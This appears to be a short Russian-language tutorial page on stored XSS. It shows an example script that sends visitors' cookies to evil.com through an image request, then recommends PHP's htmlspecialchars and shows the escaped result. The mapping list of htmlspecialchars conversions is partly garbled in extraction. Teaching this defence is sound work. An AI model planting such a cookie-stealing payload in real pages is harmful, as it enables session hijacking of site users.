Главная / XSS / Отражённые XSS

Что такое хранимые XSS

Суть хранимой XSS заключается в том, что бэкэнд сохраняет на сервере необработанные данные полученные от пользователя и в дальнейшем не обрабатывает их. Таким образом вредоносный html\JavaScript код сохраняется на веб сервере и в дальнейшем обрабатывается браузерами пользователей.

Пример уязвимости

Злоумышленник опубликовал запись в на крупном ресурсе в которой встроили js который отправляет на его сервер куки пользователя.

<script>
    var img = document.createElement('img');
    img.src = 'http://evil.com/cookies?data'+encodeURI(document.cookie);
    document.body.appendChild(img);
</script>

Таким образом злоумышленник получит кукисы всех пользователей которые увидят его запись. Все просто.

Защита

Необходимо всегда фильтровать данные полученные из вне. В php есть замечательная функция htmlspecialchars которая поможет спастись от xss атак.

htmlspecialchars — Преобразует специальные символы в HTML-сущности Производятся следующие преобразования: '&' (амперсанд) преобразуется в '&' '"' (двойная кавычка) преобразуется в '"' в режиме ENT_NOQUOTES is not set. "'" (одиночная кавычка) преобразуется в ''' (или ') только в режиме ENT_QUOTES. '<' (знак "меньше чем") преобразуется в '<' '>' (знак "больше чем") преобразуется в '>'

Таким образом, при использовании функции htmlspecialchars приведенный выше код будет преобразован в

&lt;script&gt;
    var img = document.createElement('img');
    img.src = 'http://evil.com/cookies?data'+encodeURI(document.cookie);
    document.body.appendChild(img);
&lt;/script&gt;